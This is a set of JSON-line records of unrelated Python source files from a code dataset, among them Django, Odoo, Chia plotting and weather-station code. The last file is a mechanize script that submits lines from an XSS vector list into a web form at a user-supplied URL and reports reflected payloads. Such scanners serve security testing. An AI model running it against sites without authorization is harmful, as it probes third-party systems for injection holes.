+{"seq_id":"3043772018","text":"from django.db import models\n\n# Create your models here.\n\nclass Time(models.Model):\n idTime = models.AutoField(primary_key=True)\n startTime = models.DateTimeField()\n endTime = models.DateTimeField()\n\n class Meta():\n \"\"\"\n docstring\n \"\"\"\n ordering = [\"startTime\",\"endTime\"]\n db_table = \"Times\"\n #models = \"scheduler\"\n\nclass Semesters(models.Model):\n idSemesters = models.AutoField(primary_key=True)\n semester = models.CharField(max_length=15)\n startTime = models.DateTimeField()\n endTime = models.DateTimeField()\n\n class Meta():\n \"\"\"\n docstring\n \"\"\"\n ordering = [\"startTime\"]\n db_table = \"semesters\"\n #models = \"scheduler\"\n\nclass Schedule(models.Model):\n Classroom_idClassroom = models.IntegerField()\n group_idgroup = models.IntegerField()\n Personnel_idPersonnel = models.IntegerField()\n Cours_idCours = models.IntegerField()\n Time_idTime = models.IntegerField()\n Semesters_idSemesters = models.IntegerField()\n idSchedule = models.AutoField(primary_key=True)\n\n class Meta():\n \"\"\"\n docstring\n \"\"\"\n ordering = [\"Semesters_idSemesters\"]\n db_table = \"schedule\"\n #models = \"scheduler\"\n\nclass Logs(models.Model):\n idlog = models.AutoField(primary_key=True)\n creation = models.DateTimeField()\n modified = models.DateTimeField()\n createdBy = models.IntegerField()\n modifiedBy = models.IntegerField()\n tableName = models.CharField(max_length=45)\n modifiedField = models.CharField(max_length=45)\n lastValue = models.CharField(max_length=45)\n\n class Meta():\n \"\"\"\n docstring\n \"\"\"\n ordering = [\"creation\"]\n db_table = \"logs\"\n #models = \"scheduler\"\n\n\nclass AdminComments(models.Model):\n idAdminComments = models.AutoField(primary_key=True)\n Comment = models.CharField(max_length=255)\n creation = models.DateTimeField()\n class Meta():\n \"\"\"\n docstring\n \"\"\"\n ordering = [\"creation\"]\n db_table = \"admincomments\"\n #models = \"scheduler\"","repo_name":"dbhans/truu","sub_path":"hereTo/schedular1/scheduler/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2114,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"23633930408","text":"from django.http import HttpResponse, HttpResponseRedirect\nfrom django.shortcuts import render, redirect\nfrom django.core.mail import send_mail, BadHeaderError\nfrom django.contrib import messages\nfrom django.contrib.auth.models import User\nfrom .forms import ContactForm\n\n\ndef contact(request):\n '''Displays contact form if GET and processes form if POST.'''\n if request.method == 'GET':\n form = ContactForm\n else:\n form = ContactForm(request.POST)\n # If the form is valid, send email to owner.\n if form.is_valid():\n name = form.cleaned_data['name']\n from_email = form.cleaned_data['email']\n subject = form.cleaned_data['subject']\n message = form.cleaned_data['message']\n message = f\"Message from {name}:\\n\\n{message}\"\n to_email = [User.objects.get(id=2).email]\n try:\n send_mail(subject, message, from_email, to_email)\n except BadHeaderError:\n return HttpResponse('Invalid header found!')\n return redirect('contact:success')\n return render(request, 'contact_form.html', {'form': form})\n\ndef success(request):\n '''Returns to contact form and displays message.'''\n messages.add_message(request, messages.SUCCESS, 'Thank you, your message has been delivered.')\n return render(request, 'contact_form.html', {'form': ContactForm})\n","repo_name":"BrianC68/wr_maternity","sub_path":"contact/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1404,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"30003896275","text":"\"\"\" 위상 정렬: 선행 조건을 따라 정렬.\n 진입 차수가 0이라면, 더 이상 선행조건이 없는 것이다! \"\"\"\n# 노드의 개수와 간선의 개수를 입력 받기\nfrom collections import deque\n\nv, e = map(int, input().split())\n# 모든 노드에 대한 집입차수는 0으로 초기화\nindegree = [0] * (v + 1)\n# 각 노드에 연결된 간선 정보를 담기 위한 연결 리스트 초기화\ngraph = [[] for _ in range(v + 1)]\n\n# 방향 그래프의 모든 간선 정보를 입력 받기\nfor _ in range(e):\n a, b = map(int, input().split())\n graph[a].append(b) # 정점 A에서 B로 이동 가능\n indegree[b] += 1\n\n\n# 위상 정렬 함수\ndef topology_sort():\n result = []\n q = deque()\n # 처음 시작할 때는 진입 차수가 0인 노드를 큐에 삽입\n for i in range(1, v + 1):\n if indegree[i] == 0:\n q.append(i)\n\n while q:\n now = q.popleft()\n result.append(now)\n # 해당 원소와 연결된 노드들의 진입 차수에서 1 빼기\n for vertex in graph[now]:\n indegree[vertex] -= 1\n # 새롭게 진입 차수가 0이 되는 노드를 큐에 삽입\n if indegree[vertex] == 0:\n q.append(vertex)\n\n print(result)\n\n\"\"\"\n7 8\n1 2\n1 5\n2 3\n2 6\n3 4\n4 7\n5 6\n6 4\n\"\"\"\ntopology_sort()","repo_name":"jaelyangChoi/CodingTest","sub_path":"graph/topology_sort/topology_sort.py","file_name":"topology_sort.py","file_ext":"py","file_size_in_byte":1333,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"9986522138","text":"# -*- coding: utf-8 -*-\n\"\"\"\n:Author : weijinlong\n:Time : \n:File :\n\n:Content:\n\n执行命令:\n./chia plots create -k 32 -n 1 -r 4 -b 6750 \\\n -f b70a8bdc877ee1e2f0e4874e46bc6504d3018f65a7cc7aae140ce3db7b56af96b861aafd0316627d3af4cc226b31df67 \\\n -t /Users/wjl/data/chia/tmp \\\n -d /Users/wjl/data/chia/final \\\n执行结果:\n2021-06-20T23:28:31.237 chia.plotting.create_plots : INFO Creating 1 plots of size 32, pool public key: a1dae0bbe4ee28c6eb99bb5ae989496fbd039984918621b038f9c25a9178dbabc02a7b4181522025f2fce0f05739c053 farmer public key: b70a8bdc877ee1e2f0e4874e46bc6504d3018f65a7cc7aae140ce3db7b56af96b861aafd0316627d3af4cc226b31df67\n2021-06-20T23:28:31.247 chia.plotting.create_plots : INFO Memo: a1dae0bbe4ee28c6eb99bb5ae989496fbd039984918621b038f9c25a9178dbabc02a7b4181522025f2fce0f05739c053b70a8bdc877ee1e2f0e4874e46bc6504d3018f65a7cc7aae140ce3db7b56af96b861aafd0316627d3af4cc226b31df6717cc918c2daa30d628b2ae6ba604cb06d0f2c32a571af7d48c10285b2b0fcea8\n2021-06-20T23:28:31.248 chia.plotting.create_plots : INFO Adding directory /Users/wjl/data/chia/final to harvester for farming\n2021-06-20T23:28:31.313 chia.plotting.create_plots : INFO Starting plot 1/1\n\nStarting plotting progress into temporary dirs: /Users/wjl/data/chia/tmp and /Users/wjl/data/chia/tmp\nID: 94172a2bfc25cb42dd49db5ca82d9df007a028aa21f0e025ef9d0db8b6069407\nPlot size is: 32\nBuffer size is: 6750MiB\nUsing 128 buckets\nUsing 4 threads of stripe size 65536\n\nStarting phase 1/4: Forward Propagation into tmp files... Sun Jun 20 23:28:31 2021\nComputing table 1\n\n\nF1 complete, time: 212.12 seconds. CPU (107.22%) Sun Jun 20 23:32:03 2021\nComputing table 2\n Bucket 0 uniform sort. Ram: 6.525GiB, u_sort min: 0.563GiB, qs min: 0.281GiB.\n Bucket 1 uniform sort. Ram: 6.525GiB, u_sort min: 0.563GiB, qs min: 0.281GiB.\n Bucket 2 uniform sort. Ram: 6.525GiB, u_sort min: 0.563GiB, qs min: 0.281GiB.\n Bucket 3 uniform sort. Ram: 6.525GiB, u_sort min: 0.563GiB, qs min: 0.281GiB.\n Bucket 4 uniform sort. Ram: 6.525GiB, u_sort min: 1.125GiB, qs min: 0.281GiB.\n Bucket 5 uniform sort. Ram: 6.525GiB, u_sort min: 0.563GiB, qs min: 0.281GiB.\n Bucket 6 uniform sort. Ram: 6.525GiB, u_sort min: 1.125GiB, qs min: 0.281GiB.\n Bucket 7 uniform sort. Ram: 6.525GiB, u_sort min: 0.563GiB, qs min: 0.281GiB.\n\"\"\"\n\nimport os\n\nimport requests\n\nfrom ws.config import get_url\nfrom ws.config import plots_config as cfg\nfrom ws.plots.fingerprint import create_update_fingerprint\n\nheader = {\n \"Content-Type\": \"application/json\"\n}\n\n\ndef upload_plots_task():\n data = {}\n url = get_url(\"plots_task\")\n ufp = create_update_fingerprint()\n data[\"user_key\"] = ufp['id']\n keys = [\"size\", \"num\", \"buffer\", \"num_threads\", \"buckets\", \"tmp_dir\", \"tmp2_dir\", \"final_dir\"]\n data.update(dict(((k, cfg[k]) for k in keys if cfg[k])))\n response = requests.post(url, data).json()\n if response['status'] != \"ok\":\n raise ValueError(\"任务上传失败!\")\n print(\"获取任务信息。\")\n return response['data']\n\n\ndef finished_block_parse(line):\n finished_block = 0\n line = line.strip()\n if line.startswith(\"Bucket\"):\n finished_block = int(line.split(\" \")[1])\n return finished_block\n\n\n# @app.tasks(name=\"plots\")\ndef upload_plots_task_result(task_id):\n url = get_url(\"plots_task_result\")\n cmd = f\"{cfg['chia']} plots create\"\n if 'size' in cfg:\n cmd += f\" -k {cfg['size']}\"\n if 'num' in cfg:\n cmd += f\" -n {cfg['num']}\"\n if 'num_threads' in cfg:\n cmd += f\" -r {cfg['num_threads']}\"\n if 'buffer' in cfg:\n cmd += f\" -b {cfg['buffer']}\"\n\n if 'farmer_public_key' not in cfg:\n raise ValueError(\"config.ini plots section must contain farmer_public_key\")\n cmd += f\" -f {cfg['farmer_public_key']}\"\n\n if 'tmp_dir' not in cfg:\n raise ValueError(\"config.ini plots section must contain tmp_dir\")\n cmd += f\" -t {cfg['tmp_dir']}\"\n\n if 'final_dir' not in cfg:\n raise ValueError(\"config.ini plots section must contain final_dir\")\n cmd += f\" -d {cfg['final_dir']}\"\n\n data = {\n \"plots_task\": task_id,\n \"total_block\": 0,\n \"finished_block\": 0,\n \"message\": \"\",\n }\n\n response = requests.put(url, data).json()\n if response['status'] != \"ok\":\n raise ValueError(\"上传任务初始化成功。\")\n\n ptr = response['data']\n ptr_id = ptr['id']\n\n sub = os.popen(cmd)\n for line in sub:\n data = dict()\n data['plots_task'] = task_id\n data[\"total_block\"] = 100\n data[\"finished_block\"] = finished_block_parse(line)\n data[\"message\"] = ptr[\"message\"] + \"\\n\" + line\n response = requests.post(url + ptr_id, data).json()\n if response['status'] != \"ok\":\n raise ValueError(\"任务上传失败!\")\n\n sub.close()\n print(\"任务执行完成!\")\n return \"done\"\n\n\ndef upload_plots_task_result_test(task_id):\n url = get_url(\"plots_task_result\")\n cmd = \"ping www.baidu.com\"\n\n data = {\n \"plots_task\": task_id,\n \"total_block\": 0,\n \"finished_block\": 0,\n \"message\": \"\",\n }\n\n response = requests.post(url, data).json()\n if response['status'] != \"ok\":\n raise ValueError(\"上传任务初始化成功。\")\n\n ptr_id = response['data']['id']\n count = 0\n sub = os.popen(cmd)\n print(\"任务执行中......\")\n for line in sub:\n count += 1\n data = {}\n data[\"plots_task\"] = task_id\n data[\"total_block\"] = 100\n data[\"finished_block\"] = count\n data[\"message\"] = line\n # line = line.strip()\n response = requests.put(url + str(ptr_id), data).json()\n if response['status'] != \"ok\":\n raise ValueError(\"任务上传失败!\")\n\n if count >= 100:\n break\n\n sub.close()\n print(\"任务执行完成!\")\n return \"done\"\n\n\ndef execute_plots_task():\n plots_task = upload_plots_task()\n # upload_plots_task_result(plots_task['id'])\n upload_plots_task_result_test(plots_task['id'])\n\n\nexecute_plots_task()\n","repo_name":"wjlx/chia","sub_path":"ws/plots/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":6131,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"36350464317","text":"import cv2\r\nimport numpy\r\npath='C:/Users/ankush/Pictures/Exported Videos/weekend.mp4'\r\ncap=cv2.VideoCapture(path)\r\n\r\nfource=cv2.VideoWriter_fourcc(*'XVID')\r\nfps=30\r\nframeSize=(720,480)\r\nout=cv2.VideoWriter('sample.avi',fource,fps,frameSize)\r\nwhile(cap.isOpened()):\r\n ret,frame=cap.read()\r\n cv2.imshow('vid',frame)\r\n if cv2.waitKey(1)& 0XFF ==ord('q'):\r\n break\r\ncap.release()\r\n\r\ncv2.destroyAllWindows()","repo_name":"ankushbanik1/ComputerVison_certification_course","sub_path":"save_video.py","file_name":"save_video.py","file_ext":"py","file_size_in_byte":417,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"20460222678","text":"import streamlit as st\nfrom wordcloud import WordCloud\nimport matplotlib.pyplot as plt\nimport pandas as pd\n\n\nst.set_page_config(page_title=\"Word Cloud\", page_icon=\":bar_chart:\", layout=\"wide\")\n\n\ndf = pd.read_excel('./dataset/state_media_on_social_media_platforms.xlsx')\ntext = ''\nfor i in df['Name (English)'].values:\n text += i + ' '\n\ndef generate_wordcloud(text):\n wordcloud = WordCloud(width=800, height=400, background_color='white').generate(text)\n\n plt.figure(figsize=(10, 5))\n plt.imshow(wordcloud, interpolation='bilinear')\n plt.axis('off')\n st.pyplot(plt)\n\nst.title(\"Names Word Cloud\")\n\ngenerate_wordcloud(text)","repo_name":"sinaziaee/foreign-affairs","sub_path":"pages/word cloud.py","file_name":"word cloud.py","file_ext":"py","file_size_in_byte":636,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"37830860153","text":"#this function is to read, transform and join 2 data frame\n\ndef read_features():\n path = 'secom.data'\n df = pd.read_csv(path, delimiter=' ', header=None, na_values=['NaN'])\n df.columns = ['feature'+str(x+1) for x in range(len(df.columns))]\n return df\n\n\n\ndef read_targets():\n path = 'secom_labels.data'\n df = pd.read_csv(path, delimiter=' ', header=None, na_values=['NaN'])\n df.columns = ['status','timestamp']\n df['timestamp'] = pd.to_datetime(df['timestamp'],dayfirst=True)\n return df","repo_name":"hinatanvir/Fault-Detection-SECOM","sub_path":"2nd presentation/code/read.py","file_name":"read.py","file_ext":"py","file_size_in_byte":512,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"3128700635","text":"import logging\nlogging.getLogger('botocore').setLevel(logging.CRITICAL)\nlogging.getLogger('urllib3').setLevel(logging.CRITICAL)\n\nfrom boto3.session import Session\nimport pytest\nfrom unittest.mock import Mock\n\nfrom lambdas import get_assumed_session\n\n# pytestmark = pytest.mark.wip\n\n\n@pytest.fixture\ndef mock():\n handle = Mock()\n handle.client.return_value.assume_role.return_value = dict(Credentials=dict(AccessKeyId='ak',\n SecretAccessKey='sk',\n SessionToken='token'))\n return handle\n\n\n@pytest.mark.unit_tests\ndef test_get_assumed_session_minimum(mock):\n session = get_assumed_session(role_arn='arn:aws:iam::222222222222:role/role-on-source-account',\n session=mock)\n assert isinstance(session, Session)\n\n\n@pytest.mark.unit_tests\ndef test_get_assumed_session_maximum(mock):\n session = get_assumed_session(role_arn='arn:aws:iam::222222222222:role/role-on-source-account',\n region='eu-west-12',\n name='a-name',\n session=mock)\n assert isinstance(session, Session)\n mock.client.assert_called_with('sts')\n mock.client.return_value.assume_role.assert_called_with(\n RoleArn='arn:aws:iam::222222222222:role/role-on-source-account',\n RoleSessionName='a-name')\n\n\n@pytest.mark.unit_tests\ndef test_get_assumed_session_invalid_arn():\n with pytest.raises(ValueError):\n get_assumed_session(role_arn='arn')\n","repo_name":"reply-fr/sustainable-personal-accounts","sub_path":"tests/test_lambda_session.py","file_name":"test_lambda_session.py","file_ext":"py","file_size_in_byte":1632,"program_lang":"python","lang":"en","doc_type":"code","stars":37,"dataset":"github-code","pt":"78"}
+{"seq_id":"17310278482","text":"import matplotlib\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\n\nclass GroupedBarChart:\n\n def __init__(self, df, x_column_name, y_column_name, series_column_name, series_colors):\n\n x_group_names = df[x_column_name].unique()\n series_names = df[series_column_name].unique()\n\n self._bar_containers = []\n\n # Set up plot\n self._fig, self._ax = plt.subplots()\n self._fig.set_size_inches(12,6)\n width = 0.8 / len(series_names) # Width of each bar\n border_color = 'white'\n\n for series_index, series in enumerate(series_names):\n series_data = df[df[series_column_name] == series]\n bar_positions_x = np.arange(len(x_group_names)) + series_index * width\n for group_index, group in enumerate(x_group_names):\n group_data = series_data[series_data[x_column_name] == group]\n y_values = group_data[y_column_name]\n bars = self._ax.bar(bar_positions_x[group_index], y_values, width, color=series_colors[series], edgecolor=border_color)\n self._bar_containers.append(bars)\n \n # Set x-axis and y-axis labels and ticks\n self._ax.set_xlabel(x_column_name)\n self._ax.set_ylabel(y_column_name)\n self._ax.set_xticks(np.arange(len(x_group_names)) + 0.4)\n self._ax.set_xticklabels(x_group_names)\n\n # Create legend for series\n legend_handles = [plt.Rectangle((0,0),1,1, color=series_colors[series], edgecolor=border_color) for series in series_names]\n self._ax.legend(legend_handles, series_names)\n \n def annotate_bars(self, annotation_format='{:,.0f}', rotation=0):\n for bar_containers in self._bar_containers:\n for bar in bar_containers:\n height = bar.get_height()\n self._ax.annotate(annotation_format.format(height),\n xy=(bar.get_x() + bar.get_width() / 2, height + bar.get_y()),\n xytext=(0, 3), # 3 points vertical offset\n textcoords=\"offset points\",\n ha='center', va='bottom', rotation=rotation)\n\n def set_title(self, title):\n return self._ax.set_title(title)\n\n def set_tick_params(self, **args):\n return self._ax.tick_params(**args) \n\n def show(self):\n self._fig.show()\n\nif __name__ == '__main__':\n matplotlib.use('TkAgg')\n sample_df = pd.DataFrame({'x': ['1', '2', '3', '4', '5', '1', '2', '3', '4', '5'], 'y': [0.1, 0.2, 0.3, 0.4, 0.5, 0.4, 0.3, 0.2, 0.1, 0.0], 'series': ['A', 'A', 'A', 'A', 'A', 'B', 'B', 'B', 'B', 'B']})\n series_colors = {'A': 'red', 'B': 'blue'}\n chart = GroupedBarChart(sample_df, 'x', 'y', 'series', series_colors)\n chart.annotate_bars('{:,.1f}')\n chart.show()\n input(\"Press enter to close the chart...\")\n","repo_name":"mikey-jay/aavegotchi-wearables-report","sub_path":"charts/grouped_bar_chart.py","file_name":"grouped_bar_chart.py","file_ext":"py","file_size_in_byte":2835,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"31373036196","text":"#! /usr/bin/env python\n\nimport sys\nimport math\nimport pyglet\nfrom pyglet.gl import * \nfrom pyglet.window import key\n\nimport simulation\n\nclass Animator(object):\n def __init__(self, items):\n self.items = items\n for index, item in enumerate(self.items):\n item.init(index)\n\n def update(self, delta):\n for index, item in enumerate(self.items):\n item.update(index, delta)\n\n\npyglet.resource.path = [ 'res' ]\npyglet.resource.reindex()\n\n\n# background\nbackground = pyglet.resource.image(\"background.jpeg\")\nforeground = pyglet.resource.image(\"foreground.png\")\n\n# world\n#world = engine.World((1600, 1200))\n#world.setBackgroundColor(black)\n#world.addBackgroundImage(background, (0, 0))\n#world.addForegroundImage(foreground, (0, 0))\n\n# parametrized world map\nworldmap = simulation.WorldMap()\nworldmap.load('res/mappa_piazza.csv')\n\n# initialize the window to the viewport\nconfig = pyglet.gl.Config(\n double_buffer = True,\n alpha_size = 8)\nwindow = pyglet.window.Window(\n fullscreen = True,\n resizable = True,\n vsync = True,\n config = config ) \nwindow.set_caption('Tempo di Palle')\nwindow.set_icon(pyglet.resource.image('ball.png'))\n\n# \ntargets = [ 14, 150, 178, 280, 302,277 ]\n\n# sprites\nbatch = pyglet.graphics.Batch()\n\nred_image = pyglet.resource.image(\"red_arrow.png\")\nred_image.anchor_x = red_image.width // 2\nred_image.anchor_y = red_image.height // 2\n\nblue_image = pyglet.resource.image(\"blue_arrow.png\")\nblue_image.anchor_x = blue_image.width // 2\nblue_image.anchor_y = blue_image.height // 2\n\ngreen_image = pyglet.resource.image(\"green_arrow.png\")\ngreen_image.anchor_x = green_image.width // 2\ngreen_image.anchor_y = green_image.height // 2\n\nscale = 0.02\nangle = math.pi / 2.\n\nsprites = []\nfor i in xrange(len(worldmap.points)):\n if worldmap.points[i].index in targets:\n sprite = pyglet.sprite.Sprite(red_image, batch = batch)\n elif worldmap.points[i].value == 0:\n sprite = pyglet.sprite.Sprite(blue_image, batch = batch)\n else:\n sprite = pyglet.sprite.Sprite(green_image, batch = batch)\n sprite.rotation = angle\n sprite.scale = scale\n sprites.append(sprite)\n\nmovers = [ simulation.BarberoStatic(sprite, worldmap) for sprite in sprites ]\nanimator = Animator(movers)\npyglet.clock.schedule_interval(animator.update, 1./60) # 60 Hz\n\n\n@window.event\ndef on_draw():\n window.clear()\n background.blit(0,0)\n batch.draw()\n\n@window.event\ndef on_key_press(symbol, modifiers):\n if symbol == key.ESCAPE:\n pyglet.app.exit()\n elif symbol == key.F11:\n window.set_fullscreen(not window.fullscreen)\n\npyglet.app.run()\n","repo_name":"matteosan1/TdP","sub_path":"pyglet/dots.py","file_name":"dots.py","file_ext":"py","file_size_in_byte":2594,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"42633459591","text":"message = input(\"Entrer un mot (sans espace) a crypter: \")\r\nmessage = message.lower()\r\ncryptage = \"\"\r\ncryptage_gauche = \"\"\r\nfor i in range(len(message)):\r\n lettre = message[i]\r\n decallage = 2\r\n decallage_gauche = -4\r\n # Lettre Minuscule UNICODE\r\n cryptage += chr((ord(lettre) + decallage - 96) % 26 + 97)\r\n cryptage_gauche += chr((ord(lettre) + decallage_gauche - 96) % 26 + 97)\r\nprint(\"Decallage droite:\", cryptage)\r\nprint(\"Decallage gauche:\", cryptage_gauche)\r\n","repo_name":"clement-crippa/runtrack-python","sub_path":"jour05/job04/job04.py","file_name":"job04.py","file_ext":"py","file_size_in_byte":481,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"17645909707","text":"# 점프 점프\n\nn = int(input()) # 돌다리의 돌 개수\nstone = [0] + list(map(int, input().split())) # 돌 // 1번부터 시작\ns = int(input()) # 출발점\nvisited = [False] * (n+1) # 1번부터 시작\ncnt = 1 # 출발돌 count = 1\n\ndef dfs(x):\n global cnt\n \n for i in range(2):\n Ai = stone[x] # 점프 거리\n\n if i == 0:\n move = x + Ai # 오른쪽 이동\n else:\n move = x - Ai # 왼쪽 이동\n\n if move < 1 or move > n: # 예외처리\n continue\n \n if not visited[move]: # 돌 방문하지 않았다면\n visited[move] = True # 방문 표시\n cnt += 1\n dfs(move)\n \ndfs(s)\nprint(cnt)\n","repo_name":"Techeer-3rd-gen-study/Algorithm-study","sub_path":"06주차_11.8_11.15/4_14248/배준일_14248.py","file_name":"배준일_14248.py","file_ext":"py","file_size_in_byte":717,"program_lang":"python","lang":"ko","doc_type":"code","stars":4,"dataset":"github-code","pt":"78"}
+{"seq_id":"26088270339","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Fri Jul 7 19:25:08 2023\r\n\r\n@author: coolu\r\n\"\"\"\r\n\r\nimport turtle\r\nt=turtle.Turtle()\r\nn=100\r\nm=10\r\nfor i in range(11):\r\n t.left(90)\r\n t.penup()\r\n t.goto(0,10+m)\r\n t.pendown()\r\n t.right(90)\r\n t.circle(n,360)\r\n n-=10\r\n m+=10","repo_name":"umanglanjewar/midas","sub_path":"turtle3.py","file_name":"turtle3.py","file_ext":"py","file_size_in_byte":286,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"22128068414","text":"from odoo import models, fields, api, _\n\nclass mobil(models.Model): # inherit dari Model\n _name = 'bengkel.mobil' # atribut dari class Model\n _description = 'class untuk berlatih ttg idea'\n # rec_name = 'name'\n # id = fields.Integer() #ini otomatis ada di odoo, akan jadi pk\n\n # attribute field\n\n name = fields.Char('Nomor Polisi', size=64, required=True, index=True, readonly=True,\n states={'draft': [('readonly', False)]})\n no_rangka = fields.Char('Nomor Rangka', size=64, required=True, index=True, readonly=True,\n states={'draft': [('readonly', False)]})\n nama_mobil = fields.Char('Nama Mobil', size=64, required=True, index=True, readonly=True,\n states={'draft': [('readonly', False)]})\n warna = fields.Char('Warna', size=64, required=True, index=True, readonly=True,\n states={'draft': [('readonly', False)]})\n bbm = fields.Selection(\n [('bensin', 'Bensin'),\n ('diesel', 'Diesel')], 'Bahan Bakar', required=True, readonly=True, states={'draft': [('readonly', False)]})\n tahun = fields.Char('Tahun', size=64, required=True, index=True, readonly=True,\n states={'draft': [('readonly', False)]})\n km = fields.Integer('Kilometer', required=True, index=True, readonly=True,\n states={'draft': [('readonly', False)]})\n state = fields.Selection(\n [('draft', 'Draft'),\n ('confirmed', 'Confirmed'),\n ('canceled', 'Canceled')], 'State', required=True, readonly=True, # krn required, sebaiknya dikasi default\n default='draft')\n\n _sql_constraints = [('cek_km', 'check (km>0)', 'KM tidak boleh negatif'),\n ('cek_tahun', 'check (tahun>0)', 'Tahun tidak boleh negatif'),\n ('norangka_unik', 'unique(no_rangka)', _('no_rangka must be unique!'))\n ]\n\n def action_canceled(self):\n self.state = 'canceled'\n\n def action_confirmed(self):\n self.state = 'confirmed'\n\n def action_settodraft(self):\n self.state = 'draft'\n\n","repo_name":"c14190126/custom","sub_path":"bengkel/models/mobil.py","file_name":"mobil.py","file_ext":"py","file_size_in_byte":2130,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"34441914635","text":"from bottle import request, response, route, run\nimport datetime, json, os\n\ncurrent_data = {}\n\nWIND_DIRS = [\n\t'N', 'NNE', 'NE', 'ENE',\n\t'E', 'ESE', 'SE', 'SSE',\n\t'S', 'SSW', 'SW', 'WSW',\n\t'W', 'WNW', 'NW', 'NNW'\n]\n\nLOGGED_KEYS = [\n\t'timestamp', 'temperature_c', 'humidity', 'pressure_hpa', 'wind_speed_kmh', 'rain_mm', 'solar_radiation'\n]\n\ndef deg_to_dir(deg):\n\treturn WIND_DIRS[round(int(deg)/22.5) % 16]\n\ndef mph_to_kmh(mph):\n\treturn round(float(mph)*1.609344,1)\n\ndef mph_to_ms(mph):\n\treturn round(float(mph)*0.44704,1)\n\ndef in_to_mm(inches):\n\treturn round(float(inches)*25.4,1)\n\ndef f_to_c(tempf):\n\treturn round((float(tempf)-32)*5/9,1)\n\ndef min_to_hpa(pressuremin):\n\treturn round(float(pressuremin)*33.7685)\n\n@route('/weatherstation/updateweatherstation.php')\ndef receive_data():\n\tcurrent_data.update({\n\t\t\"timestamp\": datetime.datetime.now().astimezone().replace(microsecond=0).isoformat(),\n\t\t\"pressure_inhg\": float(request.query.baromin),\n\t\t\"pressure_hpa\": min_to_hpa(request.query.baromin),\n\t\t\"temperature_f\": float(request.query.tempf),\n\t\t\"temperature_c\": f_to_c(request.query.tempf),\n\t\t\"dew_point_f\": float(request.query.dewptf),\n\t\t\"dew_point_c\": f_to_c(request.query.dewptf),\n\t\t\"humidity\": int(request.query.humidity),\n\t\t\"wind_speed_mph\": float(request.query.windspeedmph),\n\t\t\"wind_speed_kmh\": mph_to_kmh(request.query.windspeedmph),\n\t\t\"wind_speed_ms\": mph_to_ms(request.query.windspeedmph),\n\t\t\"wind_gust_mph\": float(request.query.windgustmph),\n\t\t\"wind_gust_kmh\": mph_to_kmh(request.query.windgustmph),\n\t\t\"wind_gust_ms\": mph_to_ms(request.query.windgustmph),\n\t\t\"wind_direction_bearing\": int(request.query.winddir),\n\t\t\"wind_direction_compass\": deg_to_dir(request.query.winddir),\n\t\t\"rain_in\": float(request.query.rainin),\n\t\t\"rain_mm\": in_to_mm(request.query.rainin),\n\t\t\"daily_rain_in\": float(request.query.dailyrainin),\n\t\t\"daily_rain_mm\": in_to_mm(request.query.dailyrainin),\n\t\t\"solar_radiation\": float(request.query.solarradiation),\n\t\t\"uv\": float(request.query.UV),\n\t\t\"temperature_indoor_f\": float(request.query.indoortempf),\n\t\t\"temperature_indoor_c\": f_to_c(request.query.indoortempf),\n\t\t\"humidity_indoor\": int(request.query.indoorhumidity),\n\t})\n\tlogfile = 'logs/weather-%s.csv'%datetime.date.today().isoformat()\n\tisnewfile = (not os.path.exists(logfile))\n\twith open(logfile, 'a') as f:\n\t\tif isnewfile:\n\t\t\tf.write('%s\\n'%(','.join(LOGGED_KEYS)))\n\t\tf.write('%s\\n'%(','.join(str(current_data[k]) for k in LOGGED_KEYS)))\n\treturn 'OK'\n\n@route('/data')\ndef show_data():\n\tresponse.content_type = 'application/json'\n\treturn json.dumps(current_data)\n\nrun(host='0.0.0.0', port='8000')\n\n","repo_name":"raphv/bresser-home-assistant","sub_path":"weatherlistener.py","file_name":"weatherlistener.py","file_ext":"py","file_size_in_byte":2586,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"}
+{"seq_id":"21589414804","text":"#! /usr/bin/env python3\n# -*- coding: utf-8 -*-\n# Update: 0.0.5\n#------------------------------------------------\nimport re\nimport mechanize\nbrowser = mechanize.Browser()\n#browser = mechanize.Browser(factory=mechanize.RobustFactory())\nbrowser.set_handle_robots(False)\nbrowser.set_handle_equiv(True)\nbrowser.set_handle_gzip(False)\nbrowser.set_handle_redirect(True)\nbrowser.set_handle_referer(True)\nbrowser.select_form(nr=0)\nua = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.116 Safari/537.36'\nbrowser.addheaders = [('User-Agent', ua), ('Accept', '*/*')]\n#---------------------------------------------------------------\n\nurl = input(\"Enter the full url\")\n#------------------------------------------------------------------------------------------------------------------------------------\nattackNumber = 1\nwith open('xss_vectors.txt') as f:\n for line in f:\n browser.open(url)\n browser[\"fname\"] = line\n res = browser.submit()\n content = res.read()\n # check the attack vector is printed in the response.\n if content.find(line) > 0:\n print (\"Possible XXS\")\n\n #output = open('response/'+str(attackNumber)+'.txt', 'w')\n #output.write(content)\n #output.close()\n print (\"Attack #\", attackNumber, \", Response: \", content)\n attackNumber += 